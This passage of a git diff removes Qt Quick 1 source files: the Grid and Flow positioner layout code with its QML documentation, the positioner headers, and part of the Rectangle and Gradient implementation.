childPrivate->height(); - } - } - } - - int widthSum = 0; - for(int j=0; j < maxColWidth.size(); j++){ - if(j) - widthSum += spacing(); - widthSum += maxColWidth[j]; - } - - int heightSum = 0; - for(int i=0; i < maxRowHeight.size(); i++){ - if(i) - heightSum += spacing(); - heightSum += maxRowHeight[i]; - } - - contentSize->setHeight(heightSum); - contentSize->setWidth(widthSum); - - int end = 0; - if(widthValid()) - end = width(); - else - end = widthSum; - - int xoffset=0; - if(!d->isLeftToRight()) - xoffset=end; - int yoffset=0; - int curRow =0; - int curCol =0; - for (int i = 0; i < visibleItems.count(); ++i) { - const PositionedItem &child = visibleItems.at(i); - int childXOffset = xoffset; - if(!d->isLeftToRight()) - childXOffset -= QGraphicsItemPrivate::get(child.item)->width(); - if((child.item->x()!=childXOffset)||(child.item->y()!=yoffset)){ - positionX(childXOffset, child); - positionY(yoffset, child); - } - - if (m_flow == LeftToRight) { - if(d->isLeftToRight()) - xoffset+=maxColWidth[curCol]+spacing(); - else - xoffset-=maxColWidth[curCol]+spacing(); - curCol++; - curCol%=c; - if (!curCol){ - yoffset+=maxRowHeight[curRow]+spacing(); - if(d->isLeftToRight()) - xoffset=0; - else - xoffset=end; - curRow++; - if (curRow>=r) - break; - } - } else { - yoffset+=maxRowHeight[curRow]+spacing(); - curRow++; - curRow%=r; - if (!curRow){ - if(d->isLeftToRight()) - xoffset+=maxColWidth[curCol]+spacing(); - else - xoffset-=maxColWidth[curCol]+spacing(); - yoffset=0; - curCol++; - if (curCol>=c) - break; - } - } - } -} - -void QDeclarative1Grid::reportConflictingAnchors() -{ - QDeclarative1BasePositionerPrivate *d = static_cast(QDeclarative1BasePositionerPrivate::get(this)); - for (int ii = 0; ii < positionedItems.count(); ++ii) { - const PositionedItem &child = positionedItems.at(ii); - if (child.item && QGraphicsItemPrivate::get(child.item)->isDeclarativeItem) { - QDeclarative1Anchors *anchors = QDeclarativeItemPrivate::get(static_cast(child.item))->_anchors; - if (anchors && (anchors->usedAnchors() || anchors->fill() || anchors->centerIn())) { - d->anchorConflict = true; - break; - } - } - } - if (d->anchorConflict) - qmlInfo(this) << "Cannot specify anchors for items inside Grid"; -} - -/*! - \qmlclass Flow QDeclarative1Flow - \inqmlmodule QtQuick 1 - \ingroup qml-positioning-elements - \since QtQuick 1.0 - \brief The Flow item arranges its children side by side, wrapping as necessary. - \inherits Item - - The Flow item positions its child items like words on a page, wrapping them - to create rows or columns of items that do not overlap. - - Spacing between items can be added using the \l spacing property. - Transitions can be used for cases where items managed by a Column are - added or moved. These are stored in the \l add and \l move properties - respectively. - - See \l{Using QML Positioner and Repeater Items} for more details about this item and other - related items. - - \section1 Example Usage - - The following example positions \l Text items within a parent item using - a Flow item. - - \image qml-flow-snippet.png - - \snippet doc/src/snippets/qtquick1/flow.qml flow item - - \section1 Using Transitions - - Transitions can be used to animate items that are added to, moved within, - or removed from a Flow item. The \l add and \l move properties can be set to - the transitions that will be applied when items are added to, removed from, - or re-positioned within a Flow item. - - The use of transitions with positioners is described in more detail in the - \l{Using QML Positioner and Repeater Items#Using Transitions}{Using QML - Positioner and Repeater Items} document. - - \section1 Limitations - - Note that the positioner assumes that the x and y positions of its children - will not change. If you manually change the x or y properties in script, bind - the x or y properties, use anchors on a child of a positioner, or have the - width or height of a child depend on the position of a child, then the - positioner may exhibit strange behaviour. If you need to perform any of these - actions, consider positioning the items without the use of a Flow. - - Items with a width or height of 0 will not be positioned. - - \sa Column, Row, Grid, {declarative/positioners}{Positioners example} -*/ -/*! - \qmlproperty Transition QtQuick1::Flow::add - - This property holds the transition to be applied when adding an - item to the positioner. The transition will only be applied to the - added item(s). Positioner transitions will only affect the - position (x, y) of items. - - For a positioner, adding an item can mean that either the object - has been created or reparented, and thus is now a child or the - positioner, or that the object has had its opacity increased from - zero, and thus is now visible. - - \sa move -*/ -/*! - \qmlproperty Transition QtQuick1::Flow::move - - This property holds the transition to be applied when moving an - item within the positioner. Positioner transitions will only affect - the position (x, y) of items. - - This transition can be performed when other items are added or removed - from the positioner, or when items resize themselves. - - \qml - Flow { - id: positioner - move: Transition { - NumberAnimation { - properties: "x,y" - ease: "easeOutBounce" - } - } - } - \endqml - - \sa add, {declarative/positioners}{Positioners example} -*/ -/*! - \qmlproperty int QtQuick1::Flow::spacing - - spacing is the amount in pixels left empty between each adjacent - item, and defaults to 0. - - \sa Grid::spacing -*/ - -class QDeclarative1FlowPrivate : public QDeclarative1BasePositionerPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1Flow) - -public: - QDeclarative1FlowPrivate() - : QDeclarative1BasePositionerPrivate(), flow(QDeclarative1Flow::LeftToRight) - {} - - QDeclarative1Flow::Flow flow; -}; - -QDeclarative1Flow::QDeclarative1Flow(QDeclarativeItem *parent) -: QDeclarative1BasePositioner(*(new QDeclarative1FlowPrivate), Both, parent) -{ - Q_D(QDeclarative1Flow); - // Flow layout requires relayout if its own size changes too. - d->addItemChangeListener(d, QDeclarativeItemPrivate::Geometry); -} - -/*! - \qmlproperty enumeration QtQuick1::Flow::flow - This property holds the flow of the layout. - - Possible values are: - - \list - \o Flow.LeftToRight (default) - Items are positioned next to - to each other according to the \l layoutDirection until the width of the Flow - is exceeded, then wrapped to the next line. - \o Flow.TopToBottom - Items are positioned next to each - other from top to bottom until the height of the Flow is exceeded, - then wrapped to the next column. - \endlist -*/ -QDeclarative1Flow::Flow QDeclarative1Flow::flow() const -{ - Q_D(const QDeclarative1Flow); - return d->flow; -} - -void QDeclarative1Flow::setFlow(Flow flow) -{ - Q_D(QDeclarative1Flow); - if (d->flow != flow) { - d->flow = flow; - prePositioning(); - emit flowChanged(); - } -} - -/*! - \qmlproperty enumeration QtQuick1::Flow::layoutDirection - \since Quick 1.1 - - This property holds the layout direction of the layout. - - Possible values are: - - \list - \o Qt.LeftToRight (default) - Items are positioned from the top to bottom, - and left to right. The flow direction is dependent on the - \l Flow::flow property. - \o Qt.RightToLeft - Items are positioned from the top to bottom, - and right to left. The flow direction is dependent on the - \l Flow::flow property. - \endlist - - \sa Grid::layoutDirection, Row::layoutDirection, {declarative/righttoleft/layoutdirection}{Layout directions example} -*/ - -Qt::LayoutDirection QDeclarative1Flow::layoutDirection() const -{ - Q_D(const QDeclarative1Flow); - return d->layoutDirection; -} - -void QDeclarative1Flow::setLayoutDirection(Qt::LayoutDirection layoutDirection) -{ - Q_D(QDeclarative1Flow); - if (d->layoutDirection != layoutDirection) { - d->layoutDirection = layoutDirection; - prePositioning(); - emit layoutDirectionChanged(); - emit effectiveLayoutDirectionChanged(); - } -} - -/*! - \qmlproperty enumeration QtQuick1::Flow::effectiveLayoutDirection - This property holds the effective layout direction of the flow positioner. - - When using the attached property \l {LayoutMirroring::enabled}{LayoutMirroring::enabled} for locale layouts, - the visual layout direction of the grid positioner will be mirrored. However, the - property \l {Flow::layoutDirection}{layoutDirection} will remain unchanged. - - \sa Flow::layoutDirection, {LayoutMirroring}{LayoutMirroring} -*/ - -Qt::LayoutDirection QDeclarative1Flow::effectiveLayoutDirection() const -{ - return QDeclarative1BasePositionerPrivate::getEffectiveLayoutDirection(this); -} - -void QDeclarative1Flow::doPositioning(QSizeF *contentSize) -{ - Q_D(QDeclarative1Flow); - - int hoffset = 0; - int voffset = 0; - int linemax = 0; - QList hoffsets; - - for (int i = 0; i < positionedItems.count(); ++i) { - const PositionedItem &child = positionedItems.at(i); - if (!child.item || !child.isVisible) - continue; - - QGraphicsItemPrivate *childPrivate = QGraphicsItemPrivate::get(child.item); - if (d->flow == LeftToRight) { - if (widthValid() && hoffset && hoffset + childPrivate->width() > width()) { - hoffset = 0; - voffset += linemax + spacing(); - linemax = 0; - } - } else { - if (heightValid() && voffset && voffset + childPrivate->height() > height()) { - voffset = 0; - hoffset += linemax + spacing(); - linemax = 0; - } - } - - if(d->isLeftToRight()){ - if(child.item->x() != hoffset) - positionX(hoffset, child); - }else{ - hoffsets << hoffset; - } - if(child.item->y() != voffset) - positionY(voffset, child); - - contentSize->setWidth(qMax(contentSize->width(), hoffset + childPrivate->width())); - contentSize->setHeight(qMax(contentSize->height(), voffset + childPrivate->height())); - - if (d->flow == LeftToRight) { - hoffset += childPrivate->width(); - hoffset += spacing(); - linemax = qMax(linemax, qCeil(childPrivate->height())); - } else { - voffset += childPrivate->height(); - voffset += spacing(); - linemax = qMax(linemax, qCeil(childPrivate->width())); - } - } - - if(d->isLeftToRight()) - return; - - int end; - if(widthValid()) - end = width(); - else - end = contentSize->width(); - int acc = 0; - for (int i = 0; i < positionedItems.count(); ++i) { - const PositionedItem &child = positionedItems.at(i); - if (!child.item || !child.isVisible) - continue; - hoffset = end - hoffsets[acc++] - QGraphicsItemPrivate::get(child.item)->width(); - if(child.item->x() != hoffset) - positionX(hoffset, child); - } -} - -void QDeclarative1Flow::reportConflictingAnchors() -{ - Q_D(QDeclarative1Flow); - for (int ii = 0; ii < positionedItems.count(); ++ii) { - const PositionedItem &child = positionedItems.at(ii); - if (child.item && QGraphicsItemPrivate::get(child.item)->isDeclarativeItem) { - QDeclarative1Anchors *anchors = QDeclarativeItemPrivate::get(static_cast(child.item))->_anchors; - if (anchors && (anchors->usedAnchors() || anchors->fill() || anchors->centerIn())) { - d->anchorConflict = true; - break; - } - } - } - if (d->anchorConflict) - qmlInfo(this) << "Cannot specify anchors for items inside Flow"; -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/qdeclarativepositioners_p.h b/src/qtquick1/graphicsitems/qdeclarativepositioners_p.h deleted file mode 100644 index e2db345e37..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativepositioners_p.h +++ /dev/null @@ -1,238 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVELAYOUTS_H -#define QDECLARATIVELAYOUTS_H - -#include "qdeclarativeimplicitsizeitem_p.h" - -#include -#include - -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -class QDeclarative1BasePositionerPrivate; - -class Q_QTQUICK1_EXPORT QDeclarative1BasePositioner : public QDeclarative1ImplicitSizeItem -{ - Q_OBJECT - - Q_PROPERTY(int spacing READ spacing WRITE setSpacing NOTIFY spacingChanged) - Q_PROPERTY(QDeclarative1Transition *move READ move WRITE setMove NOTIFY moveChanged) - Q_PROPERTY(QDeclarative1Transition *add READ add WRITE setAdd NOTIFY addChanged) -public: - enum PositionerType { None = 0x0, Horizontal = 0x1, Vertical = 0x2, Both = 0x3 }; - QDeclarative1BasePositioner(PositionerType, QDeclarativeItem *parent); - ~QDeclarative1BasePositioner(); - - int spacing() const; - void setSpacing(int); - - QDeclarative1Transition *move() const; - void setMove(QDeclarative1Transition *); - - QDeclarative1Transition *add() const; - void setAdd(QDeclarative1Transition *); - -protected: - QDeclarative1BasePositioner(QDeclarative1BasePositionerPrivate &dd, PositionerType at, QDeclarativeItem *parent); - virtual void componentComplete(); - virtual QVariant itemChange(GraphicsItemChange, const QVariant &); - void finishApplyTransitions(); - -Q_SIGNALS: - void spacingChanged(); - void moveChanged(); - void addChanged(); - -protected Q_SLOTS: - void prePositioning(); - void graphicsWidgetGeometryChanged(); - -protected: - virtual void doPositioning(QSizeF *contentSize)=0; - virtual void reportConflictingAnchors()=0; - class PositionedItem { - public : - PositionedItem(QGraphicsObject *i) : item(i), isNew(false), isVisible(true) {} - bool operator==(const PositionedItem &other) const { return other.item == item; } - QGraphicsObject *item; - bool isNew; - bool isVisible; - }; - - QPODVector positionedItems; - void positionX(int,const PositionedItem &target); - void positionY(int,const PositionedItem &target); - -private: - Q_DISABLE_COPY(QDeclarative1BasePositioner) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1BasePositioner) -}; - -class Q_AUTOTEST_EXPORT QDeclarative1Column : public QDeclarative1BasePositioner -{ - Q_OBJECT -public: - QDeclarative1Column(QDeclarativeItem *parent=0); -protected: - virtual void doPositioning(QSizeF *contentSize); - virtual void reportConflictingAnchors(); -private: - Q_DISABLE_COPY(QDeclarative1Column) -}; - -class Q_AUTOTEST_EXPORT QDeclarative1Row: public QDeclarative1BasePositioner -{ - Q_OBJECT - Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1) - Q_PROPERTY(Qt::LayoutDirection effectiveLayoutDirection READ effectiveLayoutDirection NOTIFY effectiveLayoutDirectionChanged REVISION 1) -public: - QDeclarative1Row(QDeclarativeItem *parent=0); - - Qt::LayoutDirection layoutDirection() const; - void setLayoutDirection (Qt::LayoutDirection); - Qt::LayoutDirection effectiveLayoutDirection() const; - -Q_SIGNALS: - Q_REVISION(1) void layoutDirectionChanged(); - Q_REVISION(1) void effectiveLayoutDirectionChanged(); - -protected: - virtual void doPositioning(QSizeF *contentSize); - virtual void reportConflictingAnchors(); -private: - Q_DISABLE_COPY(QDeclarative1Row) -}; - -class Q_AUTOTEST_EXPORT QDeclarative1Grid : public QDeclarative1BasePositioner -{ - Q_OBJECT - Q_PROPERTY(int rows READ rows WRITE setRows NOTIFY rowsChanged) - Q_PROPERTY(int columns READ columns WRITE setColumns NOTIFY columnsChanged) - Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged) - Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1) - Q_PROPERTY(Qt::LayoutDirection effectiveLayoutDirection READ effectiveLayoutDirection NOTIFY effectiveLayoutDirectionChanged REVISION 1) -public: - QDeclarative1Grid(QDeclarativeItem *parent=0); - - int rows() const {return m_rows;} - void setRows(const int rows); - - int columns() const {return m_columns;} - void setColumns(const int columns); - - Q_ENUMS(Flow) - enum Flow { LeftToRight, TopToBottom }; - Flow flow() const; - void setFlow(Flow); - - Qt::LayoutDirection layoutDirection() const; - void setLayoutDirection (Qt::LayoutDirection); - Qt::LayoutDirection effectiveLayoutDirection() const; - -Q_SIGNALS: - void rowsChanged(); - void columnsChanged(); - void flowChanged(); - Q_REVISION(1) void layoutDirectionChanged(); - Q_REVISION(1) void effectiveLayoutDirectionChanged(); - -protected: - virtual void doPositioning(QSizeF *contentSize); - virtual void reportConflictingAnchors(); - -private: - int m_rows; - int m_columns; - Flow m_flow; - Q_DISABLE_COPY(QDeclarative1Grid) -}; - -class QDeclarative1FlowPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1Flow: public QDeclarative1BasePositioner -{ - Q_OBJECT - Q_PROPERTY(Flow flow READ flow WRITE setFlow NOTIFY flowChanged) - Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection WRITE setLayoutDirection NOTIFY layoutDirectionChanged REVISION 1) - Q_PROPERTY(Qt::LayoutDirection effectiveLayoutDirection READ effectiveLayoutDirection NOTIFY effectiveLayoutDirectionChanged REVISION 1) -public: - QDeclarative1Flow(QDeclarativeItem *parent=0); - - Q_ENUMS(Flow) - enum Flow { LeftToRight, TopToBottom }; - Flow flow() const; - void setFlow(Flow); - - Qt::LayoutDirection layoutDirection() const; - void setLayoutDirection (Qt::LayoutDirection); - Qt::LayoutDirection effectiveLayoutDirection() const; -Q_SIGNALS: - void flowChanged(); - Q_REVISION(1) void layoutDirectionChanged(); - Q_REVISION(1) void effectiveLayoutDirectionChanged(); - -protected: - virtual void doPositioning(QSizeF *contentSize); - virtual void reportConflictingAnchors(); -protected: - QDeclarative1Flow(QDeclarative1FlowPrivate &dd, QDeclarativeItem *parent); -private: - Q_DISABLE_COPY(QDeclarative1Flow) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarative1Flow) -}; - - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Column) -QML_DECLARE_TYPE(QDeclarative1Row) -QML_DECLARE_TYPE(QDeclarative1Grid) -QML_DECLARE_TYPE(QDeclarative1Flow) - -QT_END_HEADER - -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativepositioners_p_p.h b/src/qtquick1/graphicsitems/qdeclarativepositioners_p_p.h deleted file mode 100644 index 8d6e4b4e69..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativepositioners_p_p.h +++ /dev/null @@ -1,174 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVELAYOUTS_P_H -#define QDECLARATIVELAYOUTS_P_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "private/qdeclarativepositioners_p.h" - -#include "private/qdeclarativeimplicitsizeitem_p_p.h" - -#include -#include -#include - -#include -#include -#include -#include - -QT_BEGIN_NAMESPACE - -class QDeclarative1BasePositionerPrivate : public QDeclarative1ImplicitSizeItemPrivate, public QDeclarativeItemChangeListener -{ - Q_DECLARE_PUBLIC(QDeclarative1BasePositioner) - -public: - QDeclarative1BasePositionerPrivate() - : spacing(0), type(QDeclarative1BasePositioner::None) - , moveTransition(0), addTransition(0), queuedPositioning(false) - , doingPositioning(false), anchorConflict(false), layoutDirection(Qt::LeftToRight) - { - } - - void init(QDeclarative1BasePositioner::PositionerType at) - { - type = at; - } - - int spacing; - - QDeclarative1BasePositioner::PositionerType type; - QDeclarative1Transition *moveTransition; - QDeclarative1Transition *addTransition; - QDeclarative1StateOperation::ActionList addActions; - QDeclarative1StateOperation::ActionList moveActions; - QDeclarative1TransitionManager addTransitionManager; - QDeclarative1TransitionManager moveTransitionManager; - - void watchChanges(QGraphicsObject *other); - void unwatchChanges(QGraphicsObject* other); - bool queuedPositioning : 1; - bool doingPositioning : 1; - bool anchorConflict : 1; - - Qt::LayoutDirection layoutDirection; - - - void schedulePositioning() - { - Q_Q(QDeclarative1BasePositioner); - if(!queuedPositioning){ - QTimer::singleShot(0,q,SLOT(prePositioning())); - queuedPositioning = true; - } - } - - void mirrorChange() { - Q_Q(QDeclarative1BasePositioner); - if (type != QDeclarative1BasePositioner::Vertical) - q->prePositioning(); - } - bool isLeftToRight() const { - if (type == QDeclarative1BasePositioner::Vertical) - return true; - else - return effectiveLayoutMirror ? layoutDirection == Qt::RightToLeft : layoutDirection == Qt::LeftToRight; - } - - virtual void itemSiblingOrderChanged(QDeclarativeItem* other) - { - Q_UNUSED(other); - //Delay is due to many children often being reordered at once - //And we only want to reposition them all once - schedulePositioning(); - } - - void itemGeometryChanged(QDeclarativeItem *, const QRectF &newGeometry, const QRectF &oldGeometry) - { - Q_Q(QDeclarative1BasePositioner); - if (newGeometry.size() != oldGeometry.size()) - q->prePositioning(); - } - - virtual void itemVisibilityChanged(QDeclarativeItem *) - { - schedulePositioning(); - } - virtual void itemOpacityChanged(QDeclarativeItem *) - { - Q_Q(QDeclarative1BasePositioner); - q->prePositioning(); - } - - void itemDestroyed(QDeclarativeItem *item) - { - Q_Q(QDeclarative1BasePositioner); - q->positionedItems.removeOne(QDeclarative1BasePositioner::PositionedItem(item)); - } - - static Qt::LayoutDirection getLayoutDirection(const QDeclarative1BasePositioner *positioner) - { - return positioner->d_func()->layoutDirection; - } - - static Qt::LayoutDirection getEffectiveLayoutDirection(const QDeclarative1BasePositioner *positioner) - { - if (positioner->d_func()->effectiveLayoutMirror) - return positioner->d_func()->layoutDirection == Qt::RightToLeft ? Qt::LeftToRight : Qt::RightToLeft; - else - return positioner->d_func()->layoutDirection; - } -}; - -QT_END_NAMESPACE -#endif diff --git a/src/qtquick1/graphicsitems/qdeclarativerectangle.cpp b/src/qtquick1/graphicsitems/qdeclarativerectangle.cpp deleted file mode 100644 index c4e7c67977..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativerectangle.cpp +++ /dev/null @@ -1,597 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativerectangle_p.h" -#include "QtQuick1/private/qdeclarativerectangle_p_p.h" - -#include -#include -#include -#include - -QT_BEGIN_NAMESPACE - - - -/*! - \internal - \class QDeclarative1Pen - \brief The QDeclarative1Pen class provides a pen used for drawing rectangle borders on a QDeclarative1View. - - By default, the pen is invalid and nothing is drawn. You must either set a color (then the default - width is 1) or a width (then the default color is black). - - A width of 1 indicates is a single-pixel line on the border of the item being painted. - - Example: - \qml - Rectangle { - border.width: 2 - border.color: "red" - } - \endqml -*/ - -void QDeclarative1Pen::setColor(const QColor &c) -{ - _color = c; - _valid = (_color.alpha() && _width >= 1) ? true : false; - emit penChanged(); -} - -void QDeclarative1Pen::setWidth(int w) -{ - if (_width == w && _valid) - return; - - _width = w; - _valid = (_color.alpha() && _width >= 1) ? true : false; - emit penChanged(); -} - - -/*! - \qmlclass GradientStop QDeclarative1GradientStop - \inqmlmodule QtQuick 1 - \ingroup qml-basic-visual-elements - \since QtQuick 1.0 - \brief The GradientStop item defines the color at a position in a Gradient. - - \sa Gradient -*/ - -/*! - \qmlproperty real QtQuick1::GradientStop::position - \qmlproperty color QtQuick1::GradientStop::color - - The position and color properties describe the color used at a given - position in a gradient, as represented by a gradient stop. - - The default position is 0.0; the default color is black. - - \sa Gradient -*/ - -void QDeclarative1GradientStop::updateGradient() -{ - if (QDeclarative1Gradient *grad = qobject_cast(parent())) - grad->doUpdate(); -} - -/*! - \qmlclass Gradient QDeclarative1Gradient - \inqmlmodule QtQuick 1 - \ingroup qml-basic-visual-elements - \since QtQuick 1.0 - \brief The Gradient item defines a gradient fill. - - A gradient is defined by two or more colors, which will be blended seamlessly. - - The colors are specified as a set of GradientStop child items, each of - which defines a position on the gradient from 0.0 to 1.0 and a color. - The position of each GradientStop is defined by setting its - \l{GradientStop::}{position} property; its color is defined using its - \l{GradientStop::}{color} property. - - A gradient without any gradient stops is rendered as a solid white fill. - - Note that this item is not a visual representation of a gradient. To display a - gradient, use a visual element (like \l Rectangle) which supports the use - of gradients. - - \section1 Example Usage - - \div {class="float-right"} - \inlineimage qml-gradient.png - \enddiv - - The following example declares a \l Rectangle item with a gradient starting - with red, blending to yellow at one third of the height of the rectangle, - and ending with green: - - \snippet doc/src/snippets/qtquick1/gradient.qml code - - \clearfloat - \section1 Performance and Limitations - - Calculating gradients can be computationally expensive compared to the use - of solid color fills or images. Consider using gradients for static items - in a user interface. - - In Qt 4.7, only vertical, linear gradients can be applied to items. If you - need to apply different orientations of gradients, a combination of rotation - and clipping will need to be applied to the relevant items. This can - introduce additional performance requirements for your application. - - The use of animations involving gradient stops may not give the desired - result. An alternative way to animate gradients is to use pre-generated - images or SVG drawings containing gradients. - - \sa GradientStop -*/ - -/*! - \qmlproperty list QtQuick1::Gradient::stops - \default - - This property holds the gradient stops describing the gradient. - - By default, this property contains an empty list. - - To set the gradient stops, define them as children of the Gradient element. -*/ - -const QGradient *QDeclarative1Gradient::gradient() const -{ - if (!m_gradient && !m_stops.isEmpty()) { - m_gradient = new QLinearGradient(0,0,0,1.0); - for (int i = 0; i < m_stops.count(); ++i) { - const QDeclarative1GradientStop *stop = m_stops.at(i); - m_gradient->setCoordinateMode(QGradient::ObjectBoundingMode); - m_gradient->setColorAt(stop->position(), stop->color()); - } - } - - return m_gradient; -} - -void QDeclarative1Gradient::doUpdate() -{ - delete m_gradient; - m_gradient = 0; - emit updated(); -} - - -/*! - \qmlclass Rectangle QDeclarative1Rectangle - \inqmlmodule QtQuick 1 - \ingroup qml-basic-visual-elements - \since QtQuick 1.0 - \brief The Rectangle item provides a filled rectangle with an optional border. - \inherits Item - - Rectangle items are used to fill areas with solid color or gradients, and are - often used to hold other items. - - \section1 Appearance - - Each Rectangle item is painted using either a solid fill color, specified using - the \l color property, or a gradient, defined using a Gradient element and set - using the \l gradient property. If both a color and a gradient are specified, - the gradient is used. - - You can add an optional border to a rectangle with its own color and thickness - by settting the \l border.color and \l border.width properties. - - You can also create rounded rectangles using the \l radius property. Since this - introduces curved edges to the corners of a rectangle, it may be appropriate to - set the \l smooth property to improve its appearance. - - \section1 Example Usage - - \div {class="float-right"} - \inlineimage declarative-rect.png - \enddiv - - The following example shows the effects of some of the common properties on a - Rectangle item, which in this case is used to create a square: - - \snippet doc/src/snippets/qtquick1/rectangle/rectangle.qml document - - \clearfloat - \section1 Performance - - Using the \l smooth property improves the appearance of a rounded rectangle at - the cost of rendering performance. You should consider unsetting this property - for rectangles in motion, and only set it when they are stationary. - - \sa Image -*/ - -int QDeclarative1RectanglePrivate::doUpdateSlotIdx = -1; - -QDeclarative1Rectangle::QDeclarative1Rectangle(QDeclarativeItem *parent) - : QDeclarativeItem(*(new QDeclarative1RectanglePrivate), parent) -{ -} - -void QDeclarative1Rectangle::doUpdate() -{ - Q_D(QDeclarative1Rectangle); - d->rectImage = QPixmap(); - const int pw = d->pen && d->pen->isValid() ? d->pen->width() : 0; - d->setPaintMargin((pw+1)/2); - update(); -} - -/*! - \qmlproperty int QtQuick1::Rectangle::border.width - \qmlproperty color QtQuick1::Rectangle::border.color - - The width and color used to draw the border of the rectangle. - - A width of 1 creates a thin line. For no line, use a width of 0 or a transparent color. - - \note The width of the rectangle's border does not affect the geometry of the - rectangle itself or its position relative to other items if anchors are used. - - If \c border.width is an odd number, the rectangle is painted at a half-pixel offset to retain - border smoothness. Also, the border is rendered evenly on either side of the - rectangle's boundaries, and the spare pixel is rendered to the right and below the - rectangle (as documented for QRect rendering). This can cause unintended effects if - \c border.width is 1 and the rectangle is \l{Item::clip}{clipped} by a parent item: - - \div {class="float-right"} - \inlineimage rect-border-width.png - \enddiv - - \snippet doc/src/snippets/qtquick1/rectangle/rect-border-width.qml 0 - - \clearfloat - Here, the innermost rectangle's border is clipped on the bottom and right edges by its - parent. To avoid this, the border width can be set to two instead of one. -*/ -QDeclarative1Pen *QDeclarative1Rectangle::border() -{ - Q_D(QDeclarative1Rectangle); - return d->getPen(); -} - -/*! - \qmlproperty Gradient QtQuick1::Rectangle::gradient - - The gradient to use to fill the rectangle. - - This property allows for the construction of simple vertical gradients. - Other gradients may by formed by adding rotation to the rectangle. - - \div {class="float-left"} - \inlineimage declarative-rect_gradient.png - \enddiv - - \snippet doc/src/snippets/qtquick1/rectangle/rectangle-gradient.qml rectangles - \clearfloat - - If both a gradient and a color are specified, the gradient will be used. - - \sa Gradient, color -*/ -QDeclarative1Gradient *QDeclarative1Rectangle::gradient() const -{ - Q_D(const QDeclarative1Rectangle); - return d->gradient; -} 